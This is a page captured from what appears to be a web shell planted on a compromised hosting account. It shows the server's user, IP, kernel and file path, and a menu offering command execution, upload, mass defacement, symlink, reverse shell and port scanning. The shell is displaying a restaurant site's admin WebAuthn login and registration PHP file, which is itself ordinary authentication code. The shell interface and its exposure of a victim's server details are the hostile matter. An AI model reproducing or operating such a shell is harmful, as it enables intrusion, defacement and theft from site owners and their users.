Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidafran2
/
admin
/
Viewing: webauthn.php
<?php include '../components/connect.php'; require_once '../components/admin_roles.php'; session_start(); header('Content-Type: application/json; charset=utf-8'); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: 0'); function jsonResponse(array $payload, int $status = 200): void { http_response_code($status); echo json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit(); } function base64url_encode(string $data): string { return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); } function base64url_decode(string $data): string { $remainder = strlen($data) % 4; if ($remainder) { $data .= str_repeat('=', 4 - $remainder); } $decoded = base64_decode(strtr($data, '-_', '+/'), true); return $decoded === false ? '' : $decoded; } function readJsonBody(): array { $raw = file_get_contents('php://input'); if (!is_string($raw) || trim($raw) === '') { return []; } $decoded = json_decode($raw, true); return is_array($decoded) ? $decoded : []; } function pruneChallengeStates(array $states, int $ttlSeconds): array { $now = time(); $out = []; foreach ($states as $s) { if (!is_array($s)) { continue; } $ts = (int)($s['ts'] ?? 0); if ($ts <= 0 || ($now - $ts) > $ttlSeconds) { continue; } $out[] = $s; } return $out; } function pushChallengeState(string $sessionKey, array $state, int $maxStates = 8, int $ttlSeconds = 600): void { $states = $_SESSION[$sessionKey] ?? []; if (!is_array($states)) { $states = []; } $states = pruneChallengeStates($states, $ttlSeconds); $states[] = $state; if (count($states) > $maxStates) { $states = array_slice($states, -$maxStates); } $_SESSION[$sessionKey] = $states; } function popChallengeStateByChallenge(string $sessionKey, string $challengeB64Url, int $ttlSeconds = 600): ?array { $states = $_SESSION[$sessionKey] ?? []; if (!is_array($states)) { return null; } $states = pruneChallengeStates($states, $ttlSeconds); $challengeBytes = base64url_decode($challengeB64Url); if ($challengeBytes === '') { $_SESSION[$sessionKey] = $states; return null; } $found = null; $remaining = []; foreach ($states as $s) { $stored = (string)($s['challenge'] ?? ''); $storedBytes = base64url_decode($stored); if ($found === null && $storedBytes !== '' && hash_equals($storedBytes, $challengeBytes)) { $found = $s; continue; } $remaining[] = $s; } $_SESSION[$sessionKey] = $remaining; return $found; } function cbor_read_length(string $data, int &$offset, int $ai): int { if ($ai < 24) { return $ai; } if ($ai === 24) { $val = ord($data[$offset]); $offset += 1; return $val; } if ($ai === 25) { $val = unpack('n', substr($data, $offset, 2))[1]; $offset += 2; return $val; } if ($ai === 26) { $val = unpack('N', substr($data, $offset, 4))[1]; $offset += 4; return $val; } return -1; } function cbor_decode_item(string $data, int &$offset) { if ($offset >= strlen($data)) { return null; } $initial = ord($data[$offset]); $offset += 1; $major = ($initial & 0xE0) >> 5; $ai = $initial & 0x1F; if ($ai === 31) { return null; } $len = cbor_read_length($data, $offset, $ai); if ($major === 0) { return $len; } if ($major === 1) { return -1 - $len; } if ($major === 2) { $val = substr($data, $offset, $len); $offset += $len; return $val; } if ($major === 3) { $val = substr($data, $offset, $len); $offset += $len; return $val; } if ($major === 4) { $arr = []; for ($i = 0; $i < $len; $i++) { $arr[] = cbor_decode_item($data, $offset); } return $arr; } if ($major === 5) { $map = []; for ($i = 0; $i < $len; $i++) { $k = cbor_decode_item($data, $offset); $v = cbor_decode_item($data, $offset); if (is_int($k) || is_string($k)) { $map[$k] = $v; } else { $map[] = [$k, $v]; } } return $map; } if ($major === 6) { cbor_decode_item($data, $offset); return cbor_decode_item($data, $offset); } if ($major === 7) { return null; } return null; } function cbor_decode(string $data) { $offset = 0; return cbor_decode_item($data, $offset); } function parse_authenticator_data(string $authData): array { if (strlen($authData) < 37) { return []; } $rpIdHash = substr($authData, 0, 32); $flags = ord($authData[32]); $signCount = unpack('N', substr($authData, 33, 4))[1]; return [ 'rpIdHash' => $rpIdHash, 'flags' => $flags, 'signCount' => (int)$signCount, 'raw' => $authData, ]; } function parse_attested_credential_data(string $authData): array { $base = parse_authenticator_data($authData); if (empty($base)) { return []; } $flags = (int)$base['flags']; if (($flags & 0x40) === 0) { return []; } $offset = 37; if (strlen($authData) < $offset + 16 + 2) { return []; } $aaguid = substr($authData, $offset, 16); $offset += 16; $credIdLen = unpack('n', substr($authData, $offset, 2))[1]; $offset += 2; $credId = substr($authData, $offset, $credIdLen); $offset += $credIdLen; $cose = substr($authData, $offset); return $base + [ 'aaguid' => $aaguid, 'credentialId' => $credId, 'credentialPublicKeyCose' => $cose, ]; } function der_encode_length(int $len): string { if ($len < 128) { return chr($len); } $out = ''; while ($len > 0) { $out = chr($len & 0xFF) . $out; $len >>= 8; } return chr(0x80 | strlen($out)) . $out; } function der_encode_sequence(string $inner): string { return "\x30" . der_encode_length(strlen($inner)) . $inner; } function der_encode_oid(string $oid): string { $parts = array_map('intval', explode('.', $oid)); $first = (40 * $parts[0]) + $parts[1]; $encoded = chr($first); for ($i = 2; $i < count($parts); $i++) { $v = $parts[$i]; $tmp = ''; do { $byte = $v & 0x7F; $tmp = chr($byte) . $tmp; $v >>= 7; } while ($v > 0); $tmpLen = strlen($tmp); for ($j = 0; $j < $tmpLen - 1; $j++) { $tmp[$j] = chr(ord($tmp[$j]) | 0x80); } $encoded .= $tmp; } return "\x06" . der_encode_length(strlen($encoded)) . $encoded; } function der_encode_bit_string(string $bytes): string { return "\x03" . der_encode_length(strlen($bytes) + 1) . "\x00" . $bytes; } function cose_ec2_to_pem(array $cose): ?string { $kty = $cose[1] ?? null; $alg = $cose[3] ?? null; $crv = $cose[-1] ?? null; $x = $cose[-2] ?? null; $y = $cose[-3] ?? null; if ($kty !== 2 || $alg !== -7 || $crv !== 1) { return null; } if (!is_string($x) || !is_string($y)) { return null; } $pub = "\x04" . $x . $y; $algo = der_encode_sequence( der_encode_oid('1.2.840.10045.2.1') . der_encode_oid('1.2.840.10045.3.1.7') ); $spki = der_encode_sequence( $algo . der_encode_bit_string($pub) ); $pem = "-----BEGIN PUBLIC KEY-----\n"; $pem .= chunk_split(base64_encode($spki), 64, "\n"); $pem .= "-----END PUBLIC KEY-----\n"; return $pem; } function getRpId(): string { $host = (string)($_SERVER['HTTP_HOST'] ?? 'localhost'); $host = preg_replace('/:\d+$/', '', $host); return $host ?: 'localhost'; } function getExpectedOrigin(): string { $isHttps = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; $scheme = $isHttps ? 'https' : 'http'; $host = (string)($_SERVER['HTTP_HOST'] ?? 'localhost'); return $scheme . '://' . $host; } function requireAdminSession(PDO $conn): array { $adminId = $_SESSION['admin_id'] ?? null; if (!$adminId) { jsonResponse(['ok' => false, 'error' => 'No autorizado.'], 401); } ensureAdminRolesSchema($conn); $role = getRoleBySession($conn); return [(int)$adminId, $role]; } function ensureCanManageTarget(PDO $conn, int $sessionAdminId, string $role, int $targetId): void { if ($targetId <= 0) { jsonResponse(['ok' => false, 'error' => 'Usuario inválido.'], 400); } if ($targetId !== $sessionAdminId) { if (!adminHasPermission($role, 'admin_accounts')) { jsonResponse(['ok' => false, 'error' => 'Sin permisos para administrar este usuario.'], 403); } } $stmt = $conn->prepare('SELECT id FROM `admin` WHERE id = ? LIMIT 1'); $stmt->execute([$targetId]); if (!$stmt->fetchColumn()) { jsonResponse(['ok' => false, 'error' => 'Usuario no encontrado.'], 404); } } $action = (string)($_GET['action'] ?? ''); if ($action === 'register_options') { [$sessionAdminId, $role] = requireAdminSession($conn); $targetId = isset($_GET['id']) ? (int)$_GET['id'] : $sessionAdminId; ensureCanManageTarget($conn, $sessionAdminId, $role, $targetId); $rpId = getRpId(); $challenge = random_bytes(32); $userHandle = substr(hash('sha256', 'admin:' . $targetId, true), 0, 16); $nameStmt = $conn->prepare('SELECT name FROM `admin` WHERE id = ? LIMIT 1'); $nameStmt->execute([$targetId]); $userName = (string)$nameStmt->fetchColumn(); $excludeStmt = $conn->prepare('SELECT credential_id, transports FROM `admin_webauthn_credentials` WHERE admin_id = ?'); $excludeStmt->execute([$targetId]); $exclude = []; foreach ($excludeStmt->fetchAll(PDO::FETCH_ASSOC) as $row) { $credId = $row['credential_id']; if (!is_string($credId) || $credId === '') { continue; } $item = [ 'type' => 'public-key', 'id' => base64url_encode($credId), ]; $t = trim((string)($row['transports'] ?? '')); if ($t !== '') { $transports = array_values(array_filter(array_map('trim', explode(',', $t)))); if (!empty($transports)) { $item['transports'] = $transports; } } $exclude[] = $item; } $_SESSION['webauthn_register'] = [ 'challenge' => base64url_encode($challenge), 'target_id' => $targetId, 'ts' => time(), 'rp_id' => $rpId, 'origin' => getExpectedOrigin(), ]; jsonResponse([ 'ok' => true, 'publicKey' => [ 'rp' => [ 'name' => 'Panel', 'id' => $rpId, ], 'user' => [ 'id' => base64url_encode($userHandle), 'name' => $userName, 'displayName' => $userName, ], 'challenge' => base64url_encode($challenge), 'pubKeyCredParams' => [ ['type' => 'public-key', 'alg' => -7], ], 'timeout' => 60000, 'attestation' => 'none', 'authenticatorSelection' => [ 'userVerification' => 'required', 'residentKey' => 'required', 'requireResidentKey' => true, ], 'excludeCredentials' => $exclude, ], ]); } if ($action === 'register_verify') { [$sessionAdminId, $role] = requireAdminSession($conn); $targetId = isset($_GET['id']) ? (int)$_GET['id'] : $sessionAdminId; ensureCanManageTarget($conn, $sessionAdminId, $role, $targetId); $state = $_SESSION['webauthn_register'] ?? null; if (!is_array($state) || (int)($state['target_id'] ?? 0) !== $targetId) { jsonResponse(['ok' => false, 'error' => 'Estado inválido.'], 400); } $body = readJsonBody(); $response = $body['response'] ?? []; $clientDataJSON = base64url_decode((string)($response['clientDataJSON'] ?? '')); $attestationObject = base64url_decode((string)($response['attestationObject'] ?? '')); if ($clientDataJSON === '' || $attestationObject === '') { jsonResponse(['ok' => false, 'error' => 'Datos incompletos.'], 400); } $clientData = json_decode($clientDataJSON, true); if (!is_array($clientData)) { jsonResponse(['ok' => false, 'error' => 'clientData inválido.'], 400); } if (($clientData['type'] ?? '') !== 'webauthn.create') { jsonResponse(['ok' => false, 'error' => 'Tipo inválido.'], 400); } if (($clientData['origin'] ?? '') !== (string)($state['origin'] ?? '')) { jsonResponse(['ok' => false, 'error' => 'Origen inválido.'], 400); } if (($clientData['challenge'] ?? '') !== (string)($state['challenge'] ?? '')) { jsonResponse(['ok' => false, 'error' => 'Challenge inválido.'], 400); } $attObj = cbor_decode($attestationObject); if (!is_array($attObj)) { jsonResponse(['ok' => false, 'error' => 'attestation inválida.'], 400); } $authData = $attObj['authData'] ?? null; if (!is_string($authData) || $authData === '') { jsonResponse(['ok' => false, 'error' => 'authData faltante.'], 400); } $rpId = (string)($state['rp_id'] ?? ''); $rpHash = hash('sha256', $rpId, true); $parsed = parse_attested_credential_data($authData); if (empty($parsed)) { jsonResponse(['ok' => false, 'error' => 'Credencial inválida.'], 400); } if (!hash_equals($rpHash, $parsed['rpIdHash'])) { jsonResponse(['ok' => false, 'error' => 'RP ID inválido.'], 400); } $flags = (int)$parsed['flags']; if (($flags & 0x01) === 0 || ($flags & 0x04) === 0) { jsonResponse(['ok' => false, 'error' => 'Se requiere verificación del usuario.'], 400); } $coseMap = cbor_decode($parsed['credentialPublicKeyCose']); if (!is_array($coseMap)) { jsonResponse(['ok' => false, 'error' => 'Clave pública inválida.'], 400); } $pem = cose_ec2_to_pem($coseMap); if ($pem === null) { jsonResponse(['ok' => false, 'error' => 'Tipo de credencial no soportada.'], 400); } $transports = ''; if (isset($body['transports']) && is_array($body['transports'])) { $transports = implode(',', array_values(array_filter(array_map('trim', $body['transports'])))); } $insert = $conn->prepare( 'INSERT INTO `admin_webauthn_credentials` (admin_id, credential_id, public_key_cose, sign_count, transports) VALUES (?, ?, ?, ?, ?)' ); try { $insert->execute([ $targetId, $parsed['credentialId'], $parsed['credentialPublicKeyCose'], (int)($parsed['signCount'] ?? 0), $transports !== '' ? $transports : null, ]); } catch (PDOException $e) { $errorInfo = is_array($e->errorInfo ?? null) ? $e->errorInfo : []; $driverCode = $errorInfo[1] ?? null; $sqlState = $errorInfo[0] ?? (string)$e->getCode(); if ((string)$driverCode === '1062') { jsonResponse(['ok' => false, 'error' => 'Esta huella ya está registrada.'], 409); } if ((string)$driverCode === '1406') { jsonResponse(['ok' => false, 'error' => 'No se pudo guardar la huella (datos muy largos). Actualiza el esquema y vuelve a intentar.'], 500); } if ((string)$driverCode === '1452') { jsonResponse(['ok' => false, 'error' => 'Usuario inválido.'], 400); } jsonResponse(['ok' => false, 'error' => 'No se pudo guardar la huella.'], 500); } unset($_SESSION['webauthn_register']); jsonResponse(['ok' => true, 'message' => 'Huella registrada correctamente.']); } if ($action === 'login_options') { $name = trim((string)($_GET['name'] ?? '')); $adminId = 0; $allow = null; if ($name !== '') { $stmt = $conn->prepare('SELECT id, name, webauthn_required FROM `admin` WHERE name = ? LIMIT 1'); $stmt->execute([$name]); $admin = $stmt->fetch(PDO::FETCH_ASSOC); if (!$admin) { jsonResponse(['ok' => false, 'error' => 'Usuario no encontrado.'], 404); } $adminId = (int)($admin['id'] ?? 0); if ($adminId <= 0) { jsonResponse(['ok' => false, 'error' => 'Usuario inválido.'], 400); } $credStmt = $conn->prepare('SELECT credential_id, transports FROM `admin_webauthn_credentials` WHERE admin_id = ?'); $credStmt->execute([$adminId]); $rows = $credStmt->fetchAll(PDO::FETCH_ASSOC); if (!$rows) { jsonResponse(['ok' => false, 'error' => 'Este usuario no tiene huella registrada.'], 404); } $allow = []; foreach ($rows as $row) { $credId = $row['credential_id']; if (!is_string($credId) || $credId === '') { continue; } $item = [ 'type' => 'public-key', 'id' => base64url_encode($credId), ]; $t = trim((string)($row['transports'] ?? '')); if ($t !== '') { $transports = array_values(array_filter(array_map('trim', explode(',', $t)))); if (!empty($transports)) { $item['transports'] = $transports; } } $allow[] = $item; } } else { try { $any = $conn->query('SELECT COUNT(*) FROM `admin_webauthn_credentials`'); $count = (int)$any->fetchColumn(); if ($count <= 0) { jsonResponse(['ok' => false, 'error' => 'No hay huellas registradas en el sistema.'], 404); } } catch (PDOException $ignored) { } } $rpId = getRpId(); $challenge = random_bytes(32); $loginState = [ 'challenge' => base64url_encode($challenge), 'admin_id' => $adminId, 'ts' => time(), 'rp_id' => $rpId, 'origin' => getExpectedOrigin(), ]; pushChallengeState('webauthn_login_states', $loginState); $publicKey = [ 'challenge' => base64url_encode($challenge), 'rpId' => $rpId, 'timeout' => 60000, 'userVerification' => 'required', ]; if (is_array($allow)) { $publicKey['allowCredentials'] = $allow; } jsonResponse(['ok' => true, 'publicKey' => $publicKey]); } if ($action === 'login_verify') { $body = readJsonBody(); $response = $body['response'] ?? []; $clientDataJSON = base64url_decode((string)($response['clientDataJSON'] ?? '')); $authenticatorData = base64url_decode((string)($response['authenticatorData'] ?? '')); $signature = base64url_decode((string)($response['signature'] ?? '')); if ($clientDataJSON === '' || $authenticatorData === '' || $signature === '') { jsonResponse(['ok' => false, 'error' => 'Datos incompletos.'], 400); } $clientData = json_decode($clientDataJSON, true); if (!is_array($clientData)) { jsonResponse(['ok' => false, 'error' => 'clientData inválido.'], 400); } if (($clientData['type'] ?? '') !== 'webauthn.get') { jsonResponse(['ok' => false, 'error' => 'Tipo inválido.'], 400); } $clientChallenge = (string)($clientData['challenge'] ?? ''); if ($clientChallenge === '') { jsonResponse(['ok' => false, 'error' => 'Challenge inválido.'], 400); } $state = popChallengeStateByChallenge('webauthn_login_states', $clientChallenge); if (!is_array($state)) { $legacy = $_SESSION['webauthn_login'] ?? null; if (is_array($legacy) && (string)($legacy['challenge'] ?? '') === $clientChallenge) { $state = $legacy; } else { unset($_SESSION['webauthn_login']); jsonResponse(['ok' => false, 'error' => 'Challenge inválido. Intenta de nuevo.'], 400); } } if (($clientData['origin'] ?? '') !== (string)($state['origin'] ?? '')) { jsonResponse(['ok' => false, 'error' => 'Origen inválido.'], 400); } $parsed = parse_authenticator_data($authenticatorData); if (empty($parsed)) { jsonResponse(['ok' => false, 'error' => 'authenticatorData inválido.'], 400); } $rpId = (string)($state['rp_id'] ?? ''); $rpHash = hash('sha256', $rpId, true); if (!hash_equals($rpHash, $parsed['rpIdHash'])) { jsonResponse(['ok' => false, 'error' => 'RP ID inválido.'], 400); } $flags = (int)$parsed['flags']; if (($flags & 0x01) === 0 || ($flags & 0x04) === 0) { jsonResponse(['ok' => false, 'error' => 'Se requiere verificación del usuario.'], 400); } $rawId = base64url_decode((string)($body['rawId'] ?? '')); if ($rawId === '') { jsonResponse(['ok' => false, 'error' => 'Credencial inválida.'], 400); } $adminId = (int)($state['admin_id'] ?? 0); if ($adminId > 0) { $credStmt = $conn->prepare('SELECT c.id, c.admin_id, c.public_key_cose, c.sign_count FROM `admin_webauthn_credentials` c INNER JOIN `admin` a ON a.id = c.admin_id WHERE c.admin_id = ? AND c.credential_id = ? LIMIT 1'); $credStmt->execute([$adminId, $rawId]); $cred = $credStmt->fetch(PDO::FETCH_ASSOC); } else { $credStmt = $conn->prepare('SELECT c.id, c.admin_id, c.public_key_cose, c.sign_count FROM `admin_webauthn_credentials` c INNER JOIN `admin` a ON a.id = c.admin_id WHERE c.credential_id = ? LIMIT 1'); $credStmt->execute([$rawId]); $cred = $credStmt->fetch(PDO::FETCH_ASSOC); $adminId = (int)($cred['admin_id'] ?? 0); if ($adminId <= 0) { jsonResponse(['ok' => false, 'error' => 'Usuario inválido.'], 400); } } if (!$cred) { jsonResponse(['ok' => false, 'error' => 'Huella no registrada.'], 404); } $userHandleB64 = $response['userHandle'] ?? null; if (is_string($userHandleB64) && $userHandleB64 !== '') { $userHandle = base64url_decode($userHandleB64); $expectedHandle = substr(hash('sha256', 'admin:' . $adminId, true), 0, 16); if ($userHandle !== '' && !hash_equals($expectedHandle, $userHandle)) { jsonResponse(['ok' => false, 'error' => 'Usuario inválido.'], 401); } } $cose = $cred['public_key_cose'] ?? ''; if (!is_string($cose) || $cose === '') { jsonResponse(['ok' => false, 'error' => 'Clave inválida.'], 400); } $coseMap = cbor_decode($cose); if (!is_array($coseMap)) { jsonResponse(['ok' => false, 'error' => 'Clave inválida.'], 400); } $pem = cose_ec2_to_pem($coseMap); if ($pem === null) { jsonResponse(['ok' => false, 'error' => 'Tipo de credencial no soportada.'], 400); } $clientHash = hash('sha256', $clientDataJSON, true); $signedData = $authenticatorData . $clientHash; $ok = openssl_verify($signedData, $signature, $pem, OPENSSL_ALGO_SHA256); if ($ok !== 1) { jsonResponse(['ok' => false, 'error' => 'Verificación fallida.'], 401); } $newCount = (int)($parsed['signCount'] ?? 0); $storedCount = (int)($cred['sign_count'] ?? 0); if ($newCount !== 0 && $newCount <= $storedCount) { jsonResponse(['ok' => false, 'error' => 'Contador inválido.'], 401); } $upd = $conn->prepare('UPDATE `admin_webauthn_credentials` SET sign_count = ?, last_used_at = NOW() WHERE id = ?'); $upd->execute([$newCount, (int)$cred['id']]); $_SESSION['admin_id'] = $adminId; refreshAdminRole($conn, $adminId); $_SESSION['reset_recipes_category_filter'] = 1; unset($_SESSION['webauthn_login']); jsonResponse(['ok' => true, 'redirect' => 'dashboard.php']); } if ($action === 'delete') { [$sessionAdminId, $role] = requireAdminSession($conn); $targetId = isset($_GET['id']) ? (int)$_GET['id'] : $sessionAdminId; ensureCanManageTarget($conn, $sessionAdminId, $role, $targetId); $body = readJsonBody(); $credInternalId = (int)($body['credentialInternalId'] ?? 0); if ($credInternalId <= 0) { jsonResponse(['ok' => false, 'error' => 'Credencial inválida.'], 400); } $del = $conn->prepare('DELETE FROM `admin_webauthn_credentials` WHERE id = ? AND admin_id = ?'); $del->execute([$credInternalId, $targetId]); jsonResponse(['ok' => true, 'message' => 'Huella eliminada.']); } jsonResponse(['ok' => false, 'error' => 'Acción inválida.'], 400);
Coded With 💗 by
0x6ick